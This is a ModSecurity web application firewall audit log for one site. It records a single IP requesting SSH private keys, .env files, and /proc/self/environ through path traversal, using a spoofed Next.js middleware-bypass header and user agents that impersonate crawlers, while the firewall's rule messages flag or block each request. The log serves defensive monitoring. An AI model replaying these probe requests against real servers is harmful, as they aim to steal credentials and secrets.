--b793d70d-Z--
--0b6a857e-A--
[13/Sep/2026:16:26:15.893382 +0300] aqakdysVWymXUono-eRXWAAAABQ 34.73.17.152 39894 127.0.0.1 7081
--0b6a857e-B--
GET /.ssh/id_rsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0b6a857e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0b6a857e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqakdysVWymXUono-eRXWAAAABQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqakdysVWymXUono-eRXWAAAABQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975686680 206759 (- - -)
Stopwatch2: 1789305975686680 206759; combined=42660, p1=210, p2=42375, p3=0, p4=0, p5=74, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b6a857e-Z--
--9e80e407-A--
[13/Sep/2026:16:26:16.052376 +0300] aqakeGM7dE9KgIIOpQiAnwAAANQ 34.73.17.152 39956 127.0.0.1 7081
--9e80e407-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9e80e407-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9e80e407-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqakeGM7dE9KgIIOpQiAnwAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789305976045954 6470 (- - -)
Stopwatch2: 1789305976045954 6470; combined=3931, p1=262, p2=3258, p3=0, p4=0, p5=411, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9e80e407-Z--
--b75cf716-A--
[13/Sep/2026:16:26:16.315696 +0300] aqakeGM7dE9KgIIOpQiAoQAAANg 34.73.17.152 39988 127.0.0.1 7081
--b75cf716-B--
GET /_nuxt/../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b75cf716-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b75cf716-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeGM7dE9KgIIOpQiAoQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976197296 118455 (- - -)
Stopwatch2: 1789305976197296 118455; combined=4354, p1=231, p2=4030, p3=0, p4=0, p5=92, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b75cf716-Z--
--8bf09a44-A--
[13/Sep/2026:16:26:16.515176 +0300] aqakeGM7dE9KgIIOpQiAowAAAMk 34.73.17.152 40036 127.0.0.1 7081
--8bf09a44-B--
GET /static../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8bf09a44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8bf09a44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static../.env"] [unique_id "aqakeGM7dE9KgIIOpQiAowAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976383099 132140 (- - -)
Stopwatch2: 1789305976383099 132140; combined=20281, p1=255, p2=4303, p3=0, p4=0, p5=7889, sr=104, sw=1, l=0, gc=7833
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8bf09a44-Z--
--3310c076-A--
[13/Sep/2026:16:26:16.704158 +0300] aqakeGM7dE9KgIIOpQiApQAAAMQ 34.73.17.152 40066 127.0.0.1 7081
--3310c076-B--
GET /media../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3310c076-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3310c076-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/media../.env"] [unique_id "aqakeGM7dE9KgIIOpQiApQAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976616526 87689 (- - -)
Stopwatch2: 1789305976616526 87689; combined=5909, p1=347, p2=5460, p3=0, p4=0, p5=101, sr=135, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3310c076-Z--
--f85a7e48-A--
[13/Sep/2026:16:26:16.844100 +0300] aqakeGM7dE9KgIIOpQiApwAAANM 34.73.17.152 40094 127.0.0.1 7081
--f85a7e48-B--
GET /files../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f85a7e48-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f85a7e48-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/files../.env"] [unique_id "aqakeGM7dE9KgIIOpQiApwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976731549 112607 (- - -)
Stopwatch2: 1789305976731549 112607; combined=4981, p1=281, p2=4651, p3=0, p4=0, p5=48, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f85a7e48-Z--
--56d8d645-A--
[13/Sep/2026:16:26:17.075877 +0300] aqakeCsVWymXUono-eRXXwAAAAM 34.73.17.152 40154 127.0.0.1 7081
--56d8d645-B--
GET /static//.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--56d8d645-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--56d8d645-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static/.env"] [unique_id "aqakeCsVWymXUono-eRXXwAAAAM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976997086 78846 (- - -)
Stopwatch2: 1789305976997086 78846; combined=4363, p1=210, p2=4083, p3=0, p4=0, p5=70, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--56d8d645-Z--
--d5a92759-A--
[13/Sep/2026:16:26:17.159178 +0300] aqakeSsVWymXUono-eRXYQAAAAY 34.73.17.152 40178 127.0.0.1 7081
--d5a92759-B--
GET /.//.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d5a92759-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d5a92759-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeSsVWymXUono-eRXYQAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977080497 78750 (- - -)
Stopwatch2: 1789305977080497 78750; combined=5714, p1=277, p2=3759, p3=0, p4=0, p5=1678, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5a92759-Z--
--c4dd7b2e-A--
[13/Sep/2026:16:26:17.425780 +0300] aqakeUwu1RSkptiiNIX@SgAAAIo 34.73.17.152 40248 127.0.0.1 7081
--c4dd7b2e-B--
GET //.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c4dd7b2e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c4dd7b2e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeUwu1RSkptiiNIX@SgAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977332161 93692 (- - -)
Stopwatch2: 1789305977332161 93692; combined=5174, p1=213, p2=4894, p3=0, p4=0, p5=67, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c4dd7b2e-Z--
--ccb8c705-A--
[13/Sep/2026:16:26:17.494091 +0300] aqakeTTJ6xTvcJoem7f98wAAAEo 34.73.17.152 40250 127.0.0.1 7081
--ccb8c705-B--
GET /.env.local?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ccb8c705-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ccb8c705-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeTTJ6xTvcJoem7f98wAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeTTJ6xTvcJoem7f98wAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977328530 165616 (- - -)
Stopwatch2: 1789305977328530 165616; combined=33561, p1=357, p2=33142, p3=0, p4=0, p5=62, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ccb8c705-Z--
--c70d683c-A--
[13/Sep/2026:16:26:17.630333 +0300] aqakeWM7dE9KgIIOpQiAsQAAANY 34.73.17.152 40290 127.0.0.1 7081
--c70d683c-B--
GET /api/.env/public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c70d683c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c70d683c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/api/.env/public/.env"] [unique_id "aqakeWM7dE9KgIIOpQiAsQAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977539469 90919 (- - -)
Stopwatch2: 1789305977539469 90919; combined=4818, p1=234, p2=4526, p3=0, p4=0, p5=57, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c70d683c-Z--
--0d73ec24-A--
[13/Sep/2026:16:26:17.926789 +0300] aqakeWM7dE9KgIIOpQiAtAAAAMM 34.73.17.152 40328 127.0.0.1 7081
--0d73ec24-B--
GET /%2eenv HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0d73ec24-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0d73ec24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeWM7dE9KgIIOpQiAtAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977705647 221196 (- - -)
Stopwatch2: 1789305977705647 221196; combined=4977, p1=293, p2=4626, p3=0, p4=0, p5=58, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0d73ec24-Z--
--12f48028-A--
[13/Sep/2026:16:26:17.932896 +0300] aqakeWM7dE9KgIIOpQiAtQAAAM0 34.73.17.152 40344 127.0.0.1 7081
--12f48028-B--
GET /static//app/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
